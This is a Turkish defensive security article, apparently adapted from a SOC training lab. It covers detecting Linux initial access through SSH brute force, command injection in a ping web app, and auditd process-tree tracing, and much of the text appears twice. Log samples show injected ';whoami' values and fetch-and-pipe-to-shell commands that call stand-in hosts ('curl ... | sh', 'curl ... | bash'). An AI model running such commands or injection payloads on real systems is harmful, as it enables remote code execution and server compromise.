Allah’ın Rahmeti Ve Bereketi Üzerinize Olsun
Selamun aleyküm dostlarım. Bu makalemizde İnternete açık servislerin nasıl ihlallere yol açabileceğini Linux ortamlarında SSH’nin rolünü ve taşıdığı riskleri anlayacağız ve sonra saldırının kaynağını belirlemek için süreç ağacı (process tree) analizini kullanmayı öğreneceğiz Cenab-ı Allah’ın izniyle.
SSH Üzerinden İlk Erişim
SSH’nin Yaygınlığı
Linux sunucularında en yaygın İlk Erişim yöntemlerinden biri, dışa açık SSH servisidir. SSH, dünya genelinde BT ekipleri tarafından kullanılan yaygın bir uzaktan erişim hizmetidir. İnternete açık neredeyse her Linux makinesinde SSH etkin durumdadır ve Shodan, 2025 yılında 40 milyondan fazla makine rapor etmiştir. Yalnızca bazı sistem yöneticileri güvenli anahtar tabanlı kimlik doğrulamayı uygular; diğerleri ise hâlâ zayıf parolalara güvenir ve sistemlerini brute-force saldırılarına karşı savunmasız bırakır.
SSH Üzerinden İlk Erişim
Windows’taki RDP’ye benzer şekilde, SSH hem güçlüdür hem de çoğu zaman yeterince iyi korunmaz — hatta her iki protokol de MITRE kapsamında “External Remote Services” tekniği altında izlenir. Birçok tehdit grubu, internette dışa açık SSH servislerini taramak için geniş botnet’ler kullanır ve bu sistemlere iki temel yolla erişir: çalınmış bir anahtar veya ele geçirilmiş bir parola. Bunun genellikle nasıl gerçekleştiğine bakalım:
Anahtar tabanlı kimlik doğrulama kullanılırken yaygın riskler:
SSH Saldırılarını Tespit Etme
SSH İhlali Örneği
Şimdi, yaygın bir gerçek dünya senaryosunu düşünün: Bir BT yöneticisi sunucuya genel (public) SSH erişimini etkinleştirir, parola tabanlı kimlik doğrulamaya izin verir ve destek kullanıcılarından biri için zayıf bir parola belirler. Bu üç eylem bir araya geldiğinde kaçınılmaz olarak bir SSH ihlaline yol açar; çünkü saldırganların parolayı tahmin etmesi sadece zaman meselesidir. Aşağıdaki günlük (log) örneği böyle bir ele geçirmeyi göstermektedir: Parola ihlaliyle sonuçlanan bir kaba kuvvet (brute force) saldırısı. Dikkat edilmesi gereken üç kötü niyetli oturum açma göstergesi vardır:
SSH Saldırılarını Tespit Etme
Linux’ta neler olup bittiğini anlamak için oturum açma türü gibi onlarca alanı öğrenmenize gerek yoktur; bu da log analizini daha basit hale getirir. SSH saldırılarını tespit etmeye başlamak, tüm başarılı SSH oturum açmalarını listelemek ve birkaç alanı analiz etmek kadar basit olabilir. Logları sorguladığınızı ve her biri bir saldırıya işaret edebilecek üç başarılı SSH oturum açma kaydı bulduğunuzu hayal edelim. Peki, hangisinin kötü niyetli olduğunu, hangisinin normal olduğunu nasıl ayırt ederdiniz?
Ali’nin Oturumu
İlk oturum açma meşru görünüyor: Dahili bir IP adresinden genel anahtar (public-key) kimlik doğrulaması kullanılmış; bu da muhtemelen bir Ali otomasyon hesabına işaret eder. Ayrıca, tam olarak 14:00’te gerçekleşen giriş, periyodik görev davranışıyla örtüşmektedir. Yine de emin olmak için 10.14.105.255 adresinin gerçekten bir Ali sunucusu olduğunu doğrulamanız ve ilgili kullanıcının sonraki aktivitelerini bir ihlal belirtisi olup olmadığını görmek için incelemeniz gerekir.
Hüseyin’nin Oturumları
Hüseyin kullanıcısına ait iki oturum daha dikkat çekicidir; çünkü üç adet kırmızı bayrak vardır: Parola tabanlı kimlik doğrulama, harici IP adreslerinden girişler ve oturumlar arasındaki zaman farkı (girişlerden birinin kullanıcı için gece saatlerine denk gelmesi muhtemel, değil mi?. Yine de nihai bir sonuca varmak için daha fazla ayrıntıyı incelemeniz gerekebilir:
Linux ve Genel Erişime Açık Servisler
Linux sistemleri genellikle web sunucuları, e-posta sunucuları, veritabanları ve çeşitli geliştirme veya BT yönetim araçları gibi dışa açık (public-facing) hizmetleri veya uygulamaları barındırır. Ayrıca çoğu güvenlik duvarı (firewall) veya VPN yazılımının temelini oluştururlar. Ancak bu uygulamalardan biri ele geçirildiğinde, tüm Linux ana sistemi risk altına girer. Bu risk, MITRE’nin T1190 tekniği kapsamında ele alınır. Şimdi birkaç gerçek dünya örneğine bakalım:
Uygulama Loglarını Kullanma
E-posta sunucunuzun ihlal edilip edilmediğini öğrenmek istiyorsanız, doğal olarak e-posta loglarına bakarsınız. Öte yandan, bir uygulamanın “Şu anda bir zero-day açığı ile istismar ediliyorum” şeklinde bir kayıt tutmasını bekleyebilir misiniz? Elbette hayır. Uygulama loglarının doğası budur: Nadiren tüm hikâyeyi anlatırlar, ancak yine de analiz için benzersiz bulgular sağlayabilirler. Örneğin şunları yapabilirsiniz:
Genel erişime açık herhangi bir uygulama, özellikle de zafiyet içeren web sunucuları, bir Linux ihlaline yol açabilir. Şimdi bir örneğe bakalım: BT ekibi, belirtilen IP adresine çevrim içi olarak ping atmanıza olanak tanıyan TryPingMe adlı basit bir web uygulaması oluşturur. Uygulama, bağlantıyı test etmek için arka planda herhangi bir giriş filtrelemesi olmadan ping -c 2 [SİZİN GİRDİNİZ] şeklinde bir sistem komutu çalıştırır. Saldırganlar burada kolayca bir komut enjeksiyonu açığı fark eder.
Web Loglarının Analizi
10.14.105.255 adresinden gelen istekler şüpheli görünmektedir. Normalde bu tür bir uygulamada sorgu parametreleri içinde yalnızca IP adresleri beklenirken, istemcinin bu alanlara Linux komutları yerleştirdiği görülüyor. Bu durum, açıkça bir komut enjeksiyonu (command injection) saldırısına işaret eder. Yani saldırgan, uygulamanın kullanıcı girdisini yeterince filtrelememesinden faydalanarak sistem komutlarını doğrudan çalıştırmayı başarmıştır.
Bu noktadan sonra olayın tüm ayrıntılarını ortaya çıkarmak için daha derin bir inceleme yapmanız gerekir. Ancak yalnızca web loglarına bakarak bile bazı önemli çıkarımlar yapabilirsiniz:
Bu nedenle, bu tür log kayıtları yalnızca bir anomali değil, aynı zamanda ciddi bir güvenlik ihlalinin başlangıcı olarak değerlendirilmelidir.
Hizmet İhlalini Tespit Etme
Süreç Ağacı (Process Tree) Oluşturma
Bir hizmet ihlalini (service breach) tespit etmenin yollarından biri, yaptığımız gibi uygulama loglarını (application logs) incelemektir. Ancak şunu unutmamak gerekir: uygulama logları her zaman mevcut olmayabilir ya da yeterince faydalı bilgi sağlamayabilir. Bu yüzden çoğu SOC (Security Operations Center) ekibi, daha genel ve güvenilir bir yöntem olan süreç ağacı analizi (process tree analysis) yaklaşımını kullanır. Bu yöntem, bir saldırının nasıl başladığını (Initial Access) anlamak için oldukça etkilidir.
Örneğin, güvenlik raporlarında sıkça görüldüğü gibi, bir saldırının nasıl gerçekleştiğini görselleştirmek için süreç ağaçları kullanılır. Bu sayede, saldırganın sisteme hangi adımlarla sızdığı ve hangi süreçleri tetiklediği açıkça ortaya konabilir. Süreç ağacı, bir işlemin (process) hangi üst işlemden (parent process) türediğini göstererek olayın kökenine inmeyi sağlar.
SOC ortamında sık karşılaşılan bir senaryo düşünelim: Sistem sana “şüpheli bir komut çalıştırıldı” şeklinde bir uyarı veriyor. Örneğin bu komut basit bir şekilde whoami olabilir. İlk bakışta bu komut zararsız gibi görünebilir; çünkü sistemde hangi kullanıcıyla işlem yapıldığını öğrenmek için sıklıkla kullanılır. Ancak asıl önemli soru şudur:
Bu komut neden çalıştırıldı?
Kısacası, süreç ağacı analizi sana sadece “ne oldu?” sorusunun değil, aynı zamanda “neden oldu?” sorusunun da cevabını verir. Bu da güvenlik olaylarını doğru yorumlamak ve hızlı müdahale etmek için kritik bir yetenektir dostlarım .
Auditd ve Süreç Ağacı (Process Tree) Analizi
Bu senaryoda ilk adım, loglar içerisinde şüpheli komutu tespit etmektir. Bunun için Linux sistemlerde yaygın olarak kullanılan denetim aracı auditd devreye girer. Şüpheli bir komutu aramak için şu komut kullanılır:
Bu komut, denetim kayıtları (audit logs) içerisinde whoami komutunun çalıştırıldığı olayları insan tarafından okunabilir (-i parametresi) bir formatta listeler. Böylece, bu komutun ne zaman, hangi kullanıcı tarafından ve hangi bağlamda çalıştırıldığına dair ilk ipuçlarını elde edersin.
Ancak bu bilgi tek başına yeterli değildir. Asıl önemli olan, bu komutun hangi süreç tarafından başlatıldığını ve bu sürecin kökeninin ne olduğunu anlamaktır. İşte bu noktada süreç ağacı analizi (process tree analysis) devreye girer.
Bir süreç ağacı oluşturmak için, tespit ettiğin komutun işlem kimliğini (PID) alır ve ardından --pid parametresi ile bu işlemin üst süreçlerini (parent processes) adım adım takip edersin. Amaç, bu zinciri geriye doğru izleyerek en üst noktaya, yani sistemdeki tüm süreçlerin atası olan PID 1 (genellikle init veya systemd süreci) noktasına ulaşmaktır.
Bu analiz sırasında şu mantığı izlersin:
Örneğin yapılan analiz sonucunda, whoami komutunun bir Python tabanlı web uygulaması tarafından başlatıldığı ortaya çıkabilir. Diyelim ki bu uygulamanın yolu şu şekilde:
Bu durum oldukça kritik bir bulgudur. Çünkü normal şartlarda bir web uygulamasının kendi başına whoami gibi bir sistem komutu çalıştırması beklenmez. Bu da hemen şu soruyu gündeme getirir:
Özetle, auditd ile loglardan şüpheli komutu bulmak sadece başlangıçtır. Asıl değerli analiz, bu komutun süreç ağacındaki yerini inceleyerek olayın arka planını ve kök nedenini ortaya çıkarmaktır. Bu yaklaşım, bir SOC analistinin saldırıyı doğru şekilde anlaması ve hızlı müdahale etmesi için kritik öneme sahiptir.
Sonraki adımda aklına şu soru gelebilir: whoami komutu, uygulamanın normal davranışının bir parçası mı? Bu mümkün. Ancak bu soruya kesin bir cevap verebilmek için genellikle web loglarının incelenmesi, dış kaynaklardan araştırma yapılması veya uygulama geliştiricileriyle iletişime geçilmesi gerekir.
Bunun yerine yapabileceğin daha pratik bir şey vardır: süreç ağacını kullanarak uygulama tarafından başlatılan daha tehlikeli komutları araştırmak.
Örneğin, /opt/mywebapp/app.py uygulamasının başlattığı tüm alt süreçleri (child processes) listeleyerek inceleme yapabilirsin. Bu sayede, uygulamanın gerçekten kötüye kullanılıp kullanılmadığına dair daha net kanıtlar elde edebilirsin. Çünkü bu analiz sırasında, normalde çalışmaması gereken şüpheli komutlarla karşılaşabilirsin.
Örneğin, kötü niyetli bir curl komutunun çalıştırıldığını görmek, uygulamanın ele geçirildiğine dair güçlü bir işaret olabilir. Bu tür bir komut, saldırganın dış bir sunucuyla iletişim kurduğunu veya zararlı bir yük indirmeye çalıştığını gösterebilir.
Gelişmiş İlk Erişim
İnsan Kaynaklı Saldırılar (Human-Led Attacks)
Önceki yazılarımızda okuduğunuz gibi, SSH üzerinden erişim ve dışa açık servisler aracılığıyla gerçekleşen Initial Access (ilk erişim) yöntemlerini incelediniz. Peki ya özellikle Windows ortamlarında sıkça karşılaşılan oltalama (phishing) ve USB tabanlı saldırılar?
Linux sistemler çoğunlukla sunucu işletim sistemi olarak kullanıldığı ve genellikle teknik bilgiye sahip kişiler tarafından yönetildiği için, sistem sahiplerini oltalama zararlılarını çalıştırmaya ya da kötü niyetli bir USB cihazı takmaya ikna etmek daha zordur. Ancak bu, riskin tamamen ortadan kalktığı anlamına gelmez. Hâlâ şu gibi senaryolar mümkün olabilir.
Tedarik Zinciri İhlali (Supply Chain Compromise)
Bu saldırı türü yalnızca Linux’a özgü olmasa da, Tedarik Zinciri İhlali kavramının farkında olman oldukça önemlidir. Bu tür saldırılarda, saldırganlar doğrudan son kullanıcıyı hedef almak yerine önce bir yazılımı veya bağımlılığı (dependency) ele geçirir. Ardından bu yazılımın güncellemeleri aracılığıyla tüm kullanıcılarına zararlı kod bulaştırılır.
Tipik bir Linux sunucusu, farklı geliştiriciler tarafından sürdürülen yüzlerce yazılım bağımlılığı kullanır. Bu da saldırının herhangi bir bileşenden, herhangi bir zamanda gelebileceği anlamına gelir. Yani risk oldukça geniş bir yüzeye yayılmıştır.
Bazı örneklere bakalım:
Bu makalemizde anlattığım tüm Initial Access (ilk erişim) teknikleri, süreç ağacı (process tree) analizi ile ortaya çıkarılabilir. Analize genellikle bir tetikleyici (trigger) ile başlanır. Bu tetikleyici, örneğin bir SIEM uyarısı (şüpheli bir komut çalıştırılması gibi) ya da bilinen zararlı bir IP adresine yapılan bağlantı olabilir.
Buradan sonra, ilgili olayın arka planını anlamak için bir süreç ağacı oluşturulur. Amaç, bu olayların hangi uygulama veya kullanıcı tarafından başlatıldığını tespit etmektir. Bu; bir web sunucusu, kurum içi bir uygulama ya da bir BT yöneticisinin SSH oturumu olabilir.
Son adımda ise elde edilen bilgiler değerlendirilerek, bu aktivitenin meşru (legitimate) bir işlem mi yoksa kötü niyetli bir davranışın göstergesi (malicious activity) mi olduğu belirlenir.
Okuduğunuz için teşekkür ederim
Selamun aleyküm dostlarım. Bu makalemizde İnternete açık servislerin nasıl ihlallere yol açabileceğini Linux ortamlarında SSH’nin rolünü ve taşıdığı riskleri anlayacağız ve sonra saldırının kaynağını belirlemek için süreç ağacı (process tree) analizini kullanmayı öğreneceğiz Cenab-ı Allah’ın izniyle.
SSH Üzerinden İlk Erişim
SSH’nin Yaygınlığı
Linux sunucularında en yaygın İlk Erişim yöntemlerinden biri, dışa açık SSH servisidir. SSH, dünya genelinde BT ekipleri tarafından kullanılan yaygın bir uzaktan erişim hizmetidir. İnternete açık neredeyse her Linux makinesinde SSH etkin durumdadır ve Shodan, 2025 yılında 40 milyondan fazla makine rapor etmiştir. Yalnızca bazı sistem yöneticileri güvenli anahtar tabanlı kimlik doğrulamayı uygular; diğerleri ise hâlâ zayıf parolalara güvenir ve sistemlerini brute-force saldırılarına karşı savunmasız bırakır.
SSH Üzerinden İlk Erişim
Windows’taki RDP’ye benzer şekilde, SSH hem güçlüdür hem de çoğu zaman yeterince iyi korunmaz — hatta her iki protokol de MITRE kapsamında “External Remote Services” tekniği altında izlenir. Birçok tehdit grubu, internette dışa açık SSH servislerini taramak için geniş botnet’ler kullanır ve bu sistemlere iki temel yolla erişir: çalınmış bir anahtar veya ele geçirilmiş bir parola. Bunun genellikle nasıl gerçekleştiğine bakalım:
Anahtar tabanlı kimlik doğrulama kullanılırken yaygın riskler:
- Tehdit aktörleri, özel SSH anahtarlarının saklandığı bir servise veya kaynak koda erişir
(örneğin SSH kimlik bilgileri içeren bir GitHub deposu veya Ansible otomasyon sunucusu) - Tehdit aktörleri, bir yöneticinin dizüstü bilgisayarını veri hırsızı yazılımla enfekte ederek sunucuya ait SSH anahtarlarını çalar
- Bir BT yöneticisi hızlı bir test için zayıf bir SSH parolası belirler ve daha sonra bunu değiştirmeyi unutur
- Bir BT destek çalışanı, bir yüklenici için SSH erişimini açar ve yüklenici parolayı "12345678" olarak belirler
- Bir ağ mühendisi, eski ve güvensiz bir SSH sunucusunu yanlışlıkla internete açık hâle getirir
SSH Saldırılarını Tespit Etme
SSH İhlali Örneği
Şimdi, yaygın bir gerçek dünya senaryosunu düşünün: Bir BT yöneticisi sunucuya genel (public) SSH erişimini etkinleştirir, parola tabanlı kimlik doğrulamaya izin verir ve destek kullanıcılarından biri için zayıf bir parola belirler. Bu üç eylem bir araya geldiğinde kaçınılmaz olarak bir SSH ihlaline yol açar; çünkü saldırganların parolayı tahmin etmesi sadece zaman meselesidir. Aşağıdaki günlük (log) örneği böyle bir ele geçirmeyi göstermektedir: Parola ihlaliyle sonuçlanan bir kaba kuvvet (brute force) saldırısı. Dikkat edilmesi gereken üç kötü niyetli oturum açma göstergesi vardır:
SSH Saldırılarını Tespit Etme
Linux’ta neler olup bittiğini anlamak için oturum açma türü gibi onlarca alanı öğrenmenize gerek yoktur; bu da log analizini daha basit hale getirir. SSH saldırılarını tespit etmeye başlamak, tüm başarılı SSH oturum açmalarını listelemek ve birkaç alanı analiz etmek kadar basit olabilir. Logları sorguladığınızı ve her biri bir saldırıya işaret edebilecek üç başarılı SSH oturum açma kaydı bulduğunuzu hayal edelim. Peki, hangisinin kötü niyetli olduğunu, hangisinin normal olduğunu nasıl ayırt ederdiniz?
Kod:
ubuntu@CW-ommah:~$ cat /var/log/auth.log | grep -E 'Accepted'
2025-08-19T14:00:02 thm-vm sshd[1013]: Accepted publickey for ali from 10.14.105.255 port 18442 ssh2: [...]
2025-08-20T12:56:49 thm-vm sshd[2830]: Accepted password for Hüseyin from 54.155.224.201 port 51058 ssh2
2025-08-22T03:14:06 thm-vm sshd[2830]: Accepted password for Hüseyin from 196.251.118.184 port 51058 ssh2Ali’nin Oturumu
İlk oturum açma meşru görünüyor: Dahili bir IP adresinden genel anahtar (public-key) kimlik doğrulaması kullanılmış; bu da muhtemelen bir Ali otomasyon hesabına işaret eder. Ayrıca, tam olarak 14:00’te gerçekleşen giriş, periyodik görev davranışıyla örtüşmektedir. Yine de emin olmak için 10.14.105.255 adresinin gerçekten bir Ali sunucusu olduğunu doğrulamanız ve ilgili kullanıcının sonraki aktivitelerini bir ihlal belirtisi olup olmadığını görmek için incelemeniz gerekir.
Hüseyin’nin Oturumları
Hüseyin kullanıcısına ait iki oturum daha dikkat çekicidir; çünkü üç adet kırmızı bayrak vardır: Parola tabanlı kimlik doğrulama, harici IP adreslerinden girişler ve oturumlar arasındaki zaman farkı (girişlerden birinin kullanıcı için gece saatlerine denk gelmesi muhtemel, değil mi?. Yine de nihai bir sonuca varmak için daha fazla ayrıntıyı incelemeniz gerekebilir:
- Kullanıcı adı: Bu kullanıcı kime ait? Bu saatlerde ve bu IP adresinden giriş yapması bekleniyor mu?
- Kaynak IP: Tehdit istihbaratı (TI) araçları ve varlık sorgulamaları bu IP hakkında ne söylüyor? Güvenilir mi yoksa kötü niyetli mi?
- Giriş geçmişi: Bu oturum açmadan önce kaba kuvvet (brute force) veya diğer şüpheli sistem olayları var mıydı?
- Sonraki adımlar: Bu giriş şüpheli mi? Girişten sonraki kullanıcı aktivitelerini analiz etmeli miyim?
Linux ve Genel Erişime Açık Servisler
Linux sistemleri genellikle web sunucuları, e-posta sunucuları, veritabanları ve çeşitli geliştirme veya BT yönetim araçları gibi dışa açık (public-facing) hizmetleri veya uygulamaları barındırır. Ayrıca çoğu güvenlik duvarı (firewall) veya VPN yazılımının temelini oluştururlar. Ancak bu uygulamalardan biri ele geçirildiğinde, tüm Linux ana sistemi risk altına girer. Bu risk, MITRE’nin T1190 tekniği kapsamında ele alınır. Şimdi birkaç gerçek dünya örneğine bakalım:
- CVE in Zimbra Collaboration: Saldırganların rastgele işletim sistemi komutları çalıştırmasına olanak tanıdı
- Exposed Docker API port: Bir dizi bulut altyapısı ihlalinde giriş noktası olarak kullanıldı
- CVE in Palo Alto firewalls: Saldırganlara Linux tabanlı güvenlik duvarı işletim sistemi üzerinde tam kontrol sağladı
- W ordPress "plugins" feature: Sisteme web shell gibi zararlı yazılımlar yüklemek için sıkça kötüye kullanılır
Uygulama Loglarını Kullanma
E-posta sunucunuzun ihlal edilip edilmediğini öğrenmek istiyorsanız, doğal olarak e-posta loglarına bakarsınız. Öte yandan, bir uygulamanın “Şu anda bir zero-day açığı ile istismar ediliyorum” şeklinde bir kayıt tutmasını bekleyebilir misiniz? Elbette hayır. Uygulama loglarının doğası budur: Nadiren tüm hikâyeyi anlatırlar, ancak yine de analiz için benzersiz bulgular sağlayabilirler. Örneğin şunları yapabilirsiniz:
- Web saldırılarının çeşitli türlerini tespit etmek için web loglarını kullanmak
- Şüpheli SQL sorgularını tespit etmek için veritabanı loglarını kullanmak
- Anormal VPN oturum açma olaylarını tespit etmek için VPN loglarını kullanmak
- Banka işlemleri gibi belirli olaylar için diğer loglara başvurmak
Genel erişime açık herhangi bir uygulama, özellikle de zafiyet içeren web sunucuları, bir Linux ihlaline yol açabilir. Şimdi bir örneğe bakalım: BT ekibi, belirtilen IP adresine çevrim içi olarak ping atmanıza olanak tanıyan TryPingMe adlı basit bir web uygulaması oluşturur. Uygulama, bağlantıyı test etmek için arka planda herhangi bir giriş filtrelemesi olmadan ping -c 2 [SİZİN GİRDİNİZ] şeklinde bir sistem komutu çalıştırır. Saldırganlar burada kolayca bir komut enjeksiyonu açığı fark eder.
Kod:
ubuntu@CW-ommah:~$ cat /var/log/nginx/access.log
10.2.33.10 - - [19/Aug/2025:12:26:07] "GET /ping?host=3.109.33.76 HTTP/1.1" 200 [...]
10.12.88.67 - - [23/Aug/2025:09:32:22] "GET /ping?host=54.36.19.83 HTTP/1.1" 200 [...]
10.14.105.255 - - [26/Aug/2025:20:09:43] "GET /ping?host=hello HTTP/1.1" 500 [...]
10.14.105.255 - - [26/Aug/2025:20:09:46] "GET /ping?host=whoami HTTP/1.1" 500 [...]
10.14.105.255 - - [26/Aug/2025:20:09:49] "GET /ping?host=;whoami HTTP/1.1" 200 [...]
10.14.105.255 - - [26/Aug/2025:20:10:41] "GET /ping?host=;ls HTTP/1.1" 200 [...]Web Loglarının Analizi
10.14.105.255 adresinden gelen istekler şüpheli görünmektedir. Normalde bu tür bir uygulamada sorgu parametreleri içinde yalnızca IP adresleri beklenirken, istemcinin bu alanlara Linux komutları yerleştirdiği görülüyor. Bu durum, açıkça bir komut enjeksiyonu (command injection) saldırısına işaret eder. Yani saldırgan, uygulamanın kullanıcı girdisini yeterince filtrelememesinden faydalanarak sistem komutlarını doğrudan çalıştırmayı başarmıştır.
Bu noktadan sonra olayın tüm ayrıntılarını ortaya çıkarmak için daha derin bir inceleme yapmanız gerekir. Ancak yalnızca web loglarına bakarak bile bazı önemli çıkarımlar yapabilirsiniz:
- 10.14.105.255 adresi büyük olasılıkla saldırgana aittir. Çünkü normal kullanıcı davranışından saparak zararlı komutlar içeren istekler göndermektedir.
- /ping sayfası güvenlik açığı barındırmaktadır ve kullanıcı girdisini doğrulamadan sistem komutlarına dahil ettiği için uzaktan kod çalıştırmaya izin vermektedir.
- Saldırgan, whoami ve ls gibi işletim sistemi komutlarını çalıştırarak sistem üzerinde keşif (reconnaissance) yapmıştır. Bu tür komutlar genellikle saldırganın sistemdeki yetkilerini ve dosya yapısını anlamak için kullandığı ilk adımlardır.
- TryPingMe uygulamasındaki bu zafiyet nedeniyle artık yalnızca uygulama değil, tüm sistem risk altındadır. Çünkü komut enjeksiyonu sayesinde saldırgan, sunucu üzerinde daha ileri seviyede işlemler gerçekleştirebilir (örneğin yetki yükseltme, veri sızdırma veya kalıcı erişim sağlama gibi).
Bu nedenle, bu tür log kayıtları yalnızca bir anomali değil, aynı zamanda ciddi bir güvenlik ihlalinin başlangıcı olarak değerlendirilmelidir.
Hizmet İhlalini Tespit Etme
Süreç Ağacı (Process Tree) Oluşturma
Bir hizmet ihlalini (service breach) tespit etmenin yollarından biri, yaptığımız gibi uygulama loglarını (application logs) incelemektir. Ancak şunu unutmamak gerekir: uygulama logları her zaman mevcut olmayabilir ya da yeterince faydalı bilgi sağlamayabilir. Bu yüzden çoğu SOC (Security Operations Center) ekibi, daha genel ve güvenilir bir yöntem olan süreç ağacı analizi (process tree analysis) yaklaşımını kullanır. Bu yöntem, bir saldırının nasıl başladığını (Initial Access) anlamak için oldukça etkilidir.
Örneğin, güvenlik raporlarında sıkça görüldüğü gibi, bir saldırının nasıl gerçekleştiğini görselleştirmek için süreç ağaçları kullanılır. Bu sayede, saldırganın sisteme hangi adımlarla sızdığı ve hangi süreçleri tetiklediği açıkça ortaya konabilir. Süreç ağacı, bir işlemin (process) hangi üst işlemden (parent process) türediğini göstererek olayın kökenine inmeyi sağlar.
SOC ortamında sık karşılaşılan bir senaryo düşünelim: Sistem sana “şüpheli bir komut çalıştırıldı” şeklinde bir uyarı veriyor. Örneğin bu komut basit bir şekilde whoami olabilir. İlk bakışta bu komut zararsız gibi görünebilir; çünkü sistemde hangi kullanıcıyla işlem yapıldığını öğrenmek için sıklıkla kullanılır. Ancak asıl önemli soru şudur:
Bu komut neden çalıştırıldı?
- Bu, bir sistem yöneticisinin rutin bir işlemi mi?
- Yoksa sisteme sızmış bir saldırganın keşif (reconnaissance) faaliyeti mi?
- Şüpheli komutu tespit edersin (örneğin whoami).
- Bu komutun hangi işlem tarafından başlatıldığını (parent process) belirlersin.
- Ardından o işlemin de hangi üst işlemden geldiğini incelersin.
- Bu şekilde zinciri takip ederek en baştaki kaynağa ulaşırsın.
Kısacası, süreç ağacı analizi sana sadece “ne oldu?” sorusunun değil, aynı zamanda “neden oldu?” sorusunun da cevabını verir. Bu da güvenlik olaylarını doğru yorumlamak ve hızlı müdahale etmek için kritik bir yetenektir dostlarım .
Auditd ve Süreç Ağacı (Process Tree) Analizi
Bu senaryoda ilk adım, loglar içerisinde şüpheli komutu tespit etmektir. Bunun için Linux sistemlerde yaygın olarak kullanılan denetim aracı auditd devreye girer. Şüpheli bir komutu aramak için şu komut kullanılır:
Kod:
ausearch -i -x whoamiAncak bu bilgi tek başına yeterli değildir. Asıl önemli olan, bu komutun hangi süreç tarafından başlatıldığını ve bu sürecin kökeninin ne olduğunu anlamaktır. İşte bu noktada süreç ağacı analizi (process tree analysis) devreye girer.
Bir süreç ağacı oluşturmak için, tespit ettiğin komutun işlem kimliğini (PID) alır ve ardından --pid parametresi ile bu işlemin üst süreçlerini (parent processes) adım adım takip edersin. Amaç, bu zinciri geriye doğru izleyerek en üst noktaya, yani sistemdeki tüm süreçlerin atası olan PID 1 (genellikle init veya systemd süreci) noktasına ulaşmaktır.
Bu analiz sırasında şu mantığı izlersin:
- whoami komutunu çalıştıran süreci bul
- Bu sürecin parent (üst) sürecini belirle
- Onun da parent sürecini incele
- Bu şekilde zinciri yukarı doğru takip et
Örneğin yapılan analiz sonucunda, whoami komutunun bir Python tabanlı web uygulaması tarafından başlatıldığı ortaya çıkabilir. Diyelim ki bu uygulamanın yolu şu şekilde:
Kod:
/opt/mywebapp/app.py- Bu web uygulaması ele geçirilmiş olabilir mi?
- Saldırgan, uygulamayı bir giriş noktası (entry point) olarak kullanıyor olabilir mi?
Özetle, auditd ile loglardan şüpheli komutu bulmak sadece başlangıçtır. Asıl değerli analiz, bu komutun süreç ağacındaki yerini inceleyerek olayın arka planını ve kök nedenini ortaya çıkarmaktır. Bu yaklaşım, bir SOC analistinin saldırıyı doğru şekilde anlaması ve hızlı müdahale etmesi için kritik öneme sahiptir.
Kod:
ubuntu@CW-ommah:~$ ausearch -i -x whoami # -x, sonuçları komut adına göre filtreler
type=PROCTITLE msg=audit(08/25/25 16:28:18.107:985) : proctitle=whoami
type=SYSCALL msg=audit(08/25/25 16:28:18.107:985) : syscall=execve success=yes exit=0 items=2 ppid=3905 pid=3907 auid=unset uid=ubuntu tty=(none) exe=/usr/bin/whoami key=exec
Kod:
ubuntu@CW-ommah:~$ ausearch -i --pid 3905 # 3905, whoami'nin üst süreç kimliğidir
type=PROCTITLE msg=audit(08/25/25 16:28:17.101:983) : proctitle=/bin/sh -c whoami
type=SYSCALL msg=audit(08/25/25 16:28:17.101:983) : syscall=execve success=yes exit=0 items=2 ppid=3898 pid=3905 auid=unset uid=ubuntu tty=(none) exe=/usr/bin/dash key=exec
Kod:
ubuntu@CW-ommah:~$ ausearch -i --pid 3898 # 3898, whoami'nin üst düzey işlem kimliğidir
type=PROCTITLE msg=audit(08/25/25 16:28:11.727:982) : proctitle=/usr/bin/python3 /opt/mywebapp/app.py
type=SYSCALL msg=audit(08/25/25 16:28:11.727:982) : syscall=execve success=yes exit=0 items=2 ppid=1 pid=3898 auid=unset uid=ubuntu tty=(none) exe=/usr/bin/python3.12 key=execSonraki adımda aklına şu soru gelebilir: whoami komutu, uygulamanın normal davranışının bir parçası mı? Bu mümkün. Ancak bu soruya kesin bir cevap verebilmek için genellikle web loglarının incelenmesi, dış kaynaklardan araştırma yapılması veya uygulama geliştiricileriyle iletişime geçilmesi gerekir.
Bunun yerine yapabileceğin daha pratik bir şey vardır: süreç ağacını kullanarak uygulama tarafından başlatılan daha tehlikeli komutları araştırmak.
Örneğin, /opt/mywebapp/app.py uygulamasının başlattığı tüm alt süreçleri (child processes) listeleyerek inceleme yapabilirsin. Bu sayede, uygulamanın gerçekten kötüye kullanılıp kullanılmadığına dair daha net kanıtlar elde edebilirsin. Çünkü bu analiz sırasında, normalde çalışmaması gereken şüpheli komutlarla karşılaşabilirsin.
Örneğin, kötü niyetli bir curl komutunun çalıştırıldığını görmek, uygulamanın ele geçirildiğine dair güçlü bir işaret olabilir. Bu tür bir komut, saldırganın dış bir sunucuyla iletişim kurduğunu veya zararlı bir yük indirmeye çalıştığını gösterebilir.
Kod:
ubuntu@CW-ommah:~$ ausearch -i --ppid 3898 | grep 'proctitle' # Daha basit bir çıktı elde etmek için grep komutunu kullanın
type=PROCTITLE msg=audit(08/25/25 16:28:17.101:983) : proctitle=/bin/sh -c whoami
type=PROCTITLE msg=audit(08/25/25 16:28:18.230:985) : proctitle=/bin/sh -c ls -la
type=PROCTITLE msg=audit(08/25/25 16:28:19.765:987) : proctitle=/bin/sh -c curl http://17gs9q1puh8o-bot.thm | sh
[...]Gelişmiş İlk Erişim
İnsan Kaynaklı Saldırılar (Human-Led Attacks)
Önceki yazılarımızda okuduğunuz gibi, SSH üzerinden erişim ve dışa açık servisler aracılığıyla gerçekleşen Initial Access (ilk erişim) yöntemlerini incelediniz. Peki ya özellikle Windows ortamlarında sıkça karşılaşılan oltalama (phishing) ve USB tabanlı saldırılar?
Linux sistemler çoğunlukla sunucu işletim sistemi olarak kullanıldığı ve genellikle teknik bilgiye sahip kişiler tarafından yönetildiği için, sistem sahiplerini oltalama zararlılarını çalıştırmaya ya da kötü niyetli bir USB cihazı takmaya ikna etmek daha zordur. Ancak bu, riskin tamamen ortadan kalktığı anlamına gelmez. Hâlâ şu gibi senaryolar mümkün olabilir.
| Senaryo Örneği | Sonuçlar |
|---|---|
| Bir BT çalışanı, sunucudaki bir soruna çözüm ararken bir forumda bulduğu şu komutu çaresizce dener: curl https://shadyforum.thm/fix.sh | bash | BT çalışanı script içeriğini kontrol etmedi ve bu script zararlı yazılım çıktı; sunucuyu sessizce enfekte etti (Gerçek dünya örneği) |
